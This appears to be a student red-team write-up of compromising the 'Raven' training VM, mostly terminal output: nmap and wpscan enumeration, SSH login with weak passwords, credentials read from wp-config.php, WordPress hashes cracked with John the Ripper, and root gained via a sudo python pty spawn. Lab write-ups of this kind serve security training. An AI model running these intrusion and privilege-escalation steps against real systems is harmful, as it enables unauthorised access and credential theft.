

Red Team: Summary of Operations

Table of Contents

- Exposed Services
- Critical Vulnerabilities
- Exploitation

Exposed Services

Nmap scan results for each machine reveal the below services and OS details:

Command: **nmap -sV 192.168.1.110**

```
root@Kali:~# nmap -sV 192.168.1.0/24
Starting Nmap 7.80 ( https://nmap.org ) at 2022-03-05 10:30 PST
Nmap scan report for 192.168.1.1
Host is up (0.00075s latency).
Not shown: 995 filtered ports
PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
2179/tcp  open  vmrpd?
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
MAC Address: 00:15:5D:00:04:0D (Microsoft)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Nmap scan report for 192.168.1.100
Host is up (0.0012s latency).
Not shown: 998 closed ports
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
9200/tcp  open  http         Elasticsearch REST API 7.6.1 (name: elk; cluster: elasticsearch; Lucene 8.4.0)
MAC Address: 4C:EB:42:D2:D5:D7 (Intel Corporate)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap scan report for 192.168.1.105
Host is up (0.00083s latency).
Not shown: 998 closed ports
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http         Apache httpd 2.4.29
MAC Address: 00:15:5D:00:04:0F (Microsoft)
Service Info: Host: 192.168.1.105; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

```
Nmap scan report for 192.168.1.110
Host is up (0.0012s latency).
Not shown: 995 closed ports
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp    open  http         Apache httpd 2.4.10 ((Debian))
111/tcp   open  rpcbind      2-4 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
MAC Address: 00:15:5D:00:04:10 (Microsoft)
Service Info: Host: TARGET1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap scan report for 192.168.1.115
Host is up (0.0012s latency).
Not shown: 995 closed ports
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp    open  http         Apache httpd 2.4.10 ((Debian))
111/tcp   open  rpcbind      2-4 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
MAC Address: 00:15:5D:00:04:11 (Microsoft)
Service Info: Host: TARGET2; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap scan report for 192.168.1.90
Host is up (0.000080s latency).
Not shown: 999 closed ports
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 8.1p1 Debian 5 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 256 IP addresses (6 hosts up) scanned in 28.84 seconds
root@Kali:~#
```

This scan identifies the services below as potential points of entry:

- Target 1
 - Port 22: Open SSH
 - Port 80: Open HTTP
 - Port 111: Open rpcbind
 - Port 139: Open netbios-ssn
 - Port 445: Open netbios-ssn

The following vulnerabilities were identified on each target:

- Target 1
 - User Enumeration using wpscan
 - Weak Usernames and passwords
 - Improper configuration of privileges for root access

```
[+] http://192.168.1.110/wordpress/readme.html
  Found By: Direct Access (Aggressive Detection)
  Confidence: 100%

[+] WordPress version 4.8.7 identified (Insecure, released on 2018-07-05).
  Found By: Emoji Settings (Passive Detection)
    - http://192.168.1.110/wordpress/, Match: 'wp-includes/js/wp-emoji-release.min.js?ver=4.8.7'
  Confirmed By: Meta Generator (Passive Detection)
    - http://192.168.1.110/wordpress/, Match: 'WordPress 4.8.7'

[i] The main theme could not be detected.

[+] Enumerating Users (via Passive and Aggressive Methods)
  Brute Forcing Author IDs - Time: 00:00:00 <=====> (10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] michael
  Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
  Confirmed By: Login Error Messages (Aggressive Detection)

[+] steven
  Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
  Confirmed By: Login Error Messages (Aggressive Detection)

[!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpvulndb.com/users/sign_up

[+] Finished: Sat Mar  5 10:56:27 2022
[+] Requests Done: 26
```

```
root@Kali:~# wpscan --url 192.168.1.110/wordpress
```

```
-----
  WPSec.in
  WordPress Security Scanner by the WPScan Team
  Version 3.7.8
  Sponsored by Automattic - https://automattic.com/
  @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
-----

[+] URL: http://192.168.1.110/wordpress/
[+] Started: Sat Mar  5 10:55:15 2022

Interesting Finding(s):

[+] http://192.168.1.110/wordpress/
  Interesting Entry: Server: Apache/2.4.10 (Debian)
  Found By: Headers (Passive Detection)
  Confidence: 100%

[+] http://192.168.1.110/wordpress/xmlrpc.php
  Found By: Direct Access (Aggressive Detection)
  Confidence: 100%
  References:
    - http://codex.wordpress.org/XML-RPC_Pingback_API
    - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
    - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
```

```

root@Kali:~# ssh michael@192.168.1.110
The authenticity of host '192.168.1.110 (192.168.1.110)' can't be established.
ECDSA key fingerprint is SHA256:rCGKSPq0sUfa5mqn/8/M0T630xqkEIR39pi835oSDo8.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.1.110' (ECDSA) to the list of known hosts.
michael@192.168.1.110's password:

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.
michael@target1:~$

```

```

michael@target1:/$ mysql -u root -pR@v3nSecurity
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 54
Server version: 5.5.60-0+deb8u1 (Debian)

Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>

```

```

root@Kali:~# ssh steven@192.168.1.110
steven@192.168.1.110's password:

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Mar  9 13:25:43 2022 from 192.168.1.90
$ sudo -l
Matching Defaults entries for steven on raven:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User steven may run the following commands on raven:
    (ALL) NOPASSWD: /usr/bin/python
$ sudo python -c 'import pty;pty.spawn("/bin/bash")'
root@target1:/home/steven# cd /
root@target1:/# ls
bin  etc      lib          media  proc  sbin  tmp      var
boot home    lib64        mnt    root  srv   usr      vmlinuz
dev  initrd.img lost+found  opt    run   sys   vagrant

```

Exploitation

The Red Team was able to penetrate Target 1 and retrieve the following confidential data:

Flag 1:

```

michael@target1:~$ grep -rnw '/' -e 'flag1' 2>/dev/null
Binary file /proc/1321/task/1321/cmdline matches
Binary file /proc/1321/cmdline matches
/var/www/html/service.html:262:      <!-- flag1{b9bbcb33e11b80be
759c4e844862482d} -->

```

- I used 'ssh michael@192.168.1.110' to login as michael and since he had "michael" as his password it was easy to gain access.

- I then ran `grep -rnw '/' -e 'flag1' 2>/dev/null` this command allowed me to retrieve flag 1 as shown in the screenshot above.

Flag 2:

```
michael@target1:/$ find / -iname flag* 2>/dev/null
/var/www/flag2.txt
/usr/lib/python2.7/dist-packages/dns/flags.pyc
/usr/lib/python2.7/dist-packages/dns/flags.py
/usr/share/doc/apache2-doc/manual/tr/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/ja/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/ko/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/zh-cn/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/de/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/es/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/da/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/pt-br/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/fr/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/en/rewrite/flags.html
/sys/devices/pnp0/00:03/tty/ttyS0/flags
/sys/devices/pnp0/00:04/tty/ttyS1/flags
/sys/devices/virtual/net/lo/flags
/sys/devices/platform/serial8250/tty/ttyS2/flags
/sys/devices/platform/serial8250/tty/ttyS3/flags
/sys/devices/LNXSYSTM:00/LNXXSYBUS:00/PNP0A03:00/device:07/VMBUS:01/vmbus_0_14/net/eth0/flags
michael@target1:/$ cat /var/www/flag2.txt
flag2{fc3fd58dcad9ab23faca6e9a36e581c}
michael@target1:/$
```

- I used the same ssh session to find flag 2 however I used the find command as shown above. `find / -iname flag* 2>/dev/null`.

Flag 3:

```
/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');

/** MySQL hostname */
define('DB_HOST', 'localhost');

/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8mb4');

/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');
```

```
michael@target1:/$ mysql -u root -pR@v3nSecurity
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 54
Server version: 5.5.60-0+deb8u1 (Debian)

Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>
```



```

As a new WordPress user, you should go to <a href="http://192.168.206.131/wordpress/wp-admin/">your dashboard</a> to delete th
is page and create new pages for your content. Have fun! | Sample Page | publish | closed | open |
| 0 | http://192.168.206.131/wordpress/?page_id=2 | 2018-08-12 22:49:12 | 2018-08-12 22:49:12 | 0 | page |
| 4 | 0 | 1 | 2018-08-13 01:48:31 | 0000-00-00 00:00:00 | flag3{afc01ab56b50591e7dccf93122770cd2}

08-13 | 01:48:31 | 2018-08-13 01:48:31 | open | open | 0 | http://raven.local/wordpress/?p=4 | flag3
2018-
| 5 | 0 | 1 | 2018-08-12 23:31:59 | 2018-08-12 23:31:59 | flag4{715dea6c055b9fe3337544932f2941ce}

```

- Flag 3 was found in the MySQL database. I traversed the database until I found it in the wp_posts directory. I found the login credentials in the wp-config.php file. The credentials were out in the open, unencrypted and labeled as shown in the first screenshot. That is extremely insecure and anyone who has access to michael's account could have access to these credentials. I logged in to the MySQL database using this command: 'mysql -u root -pR@v3nSecurity'.

Flag 4:

```

mysql> select * from wp_users;
+-----+-----+-----+-----+-----+-----+-----+-----+
| ID | user_login | user_pass | user_activation_key | user_status | display_name | user_nicename | user_email | user_url | user_registered |
+-----+-----+-----+-----+-----+-----+-----+-----+
| 1 | michael | $P$BJRvZQ.VQcGZlDeiKToCQd.cPw5XCe0 | 0 | michael | michael | michael@raven.org | 2018-08-12 22:49:12 |
| 2 | steven | $P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/ | 0 | Steven Seagull | steven | steven@raven.org | 2018-08-12 23:31:16 |
+-----+-----+-----+-----+-----+-----+-----+-----+
2 rows in set (0.00 sec)

```

```

root@Kali:~# nano wp_users.txt
root@Kali:~# john wp_users.txt
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (phpass [phpass ($P$ or $H$) 256/256 AVX2 8x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
Proceeding with incremental:ASCII
0g 0:00:07:48 3/3 0g/s 3996p/s 7992c/s 7992C/s brannana..broopopo
0g 0:00:07:49 3/3 0g/s 3996p/s 7993c/s 7993C/s chithon1..caristis
0g 0:00:07:51 3/3 0g/s 3997p/s 7994c/s 7994C/s creantin..creake14
0g 0:00:07:55 3/3 0g/s 3998p/s 7996c/s 7996C/s kourf..kuzys
0g 0:00:11:12 3/3 0g/s 3998p/s 7998c/s 7998C/s langlum..lane113
0g 0:00:11:13 3/3 0g/s 3998p/s 7997c/s 7997C/s laramb1..larra09
0g 0:00:11:16 3/3 0g/s 3998p/s 7997c/s 7997C/s listail..listup2
pink84 (?)

```

```

root@Kali:~# ssh steven@192.168.1.110
steven@192.168.1.110's password:

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Mar  9 13:25:43 2022 from 192.168.1.90
$ sudo -l
Matching Defaults entries for steven on raven:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User steven may run the following commands on raven:
    (ALL) NOPASSWD: /usr/bin/python
$ sudo python -c 'import pty;pty.spawn("/bin/bash")'
root@target1:/home/steven# cd /
root@target1:/# ls
bin  etc      lib       media  proc  sbin  tmp      var
boot home   lib64     mnt    root  srv   usr      vmlinuz
dev  initrd.img lost+found opt     run   sys   vagrant

root@target1:/# find / -iname flag4.txt
/root/flag4.txt
root@target1:/# cat /root/flag4.txt
-----
| ___ \
| |_/ _ _ _ _ _ _ _ _
|  // _ \ \ \ / \ _ \ ' \
| \ \ C_ | \ \ / \ _ | | |
\_| \ \_,_| \ / \ _ _ | | |

flag4{715dea6c055b9fe3337544932f2941ce}

CONGRATULATIONS on successfully rooting Raven!

This is my first Boot2Root VM - I hope you enjoyed it.

Hit me up on Twitter and let me know what you thought:

@mccannwj / wjmccann.github.io
root@target1:/# █

```

- I first started by putting the hashes I found in the MySQL database for users Steven and Michael (screenshot 1) in a file, I then used john to crack the hashes in the files I created using 'john wp_users' (screenshot 2). After finding out Steven's password is pink84 I ssh in as steven using 'ssh steven@192.168.1.110' (screenshot 3) I then escalated myself to root using 'sudo python -c 'import pty;pty.spawn("/bin/bash")' a ran a Find command 'find / -iname flag4.txt' and found flag 4 (screenshot 4).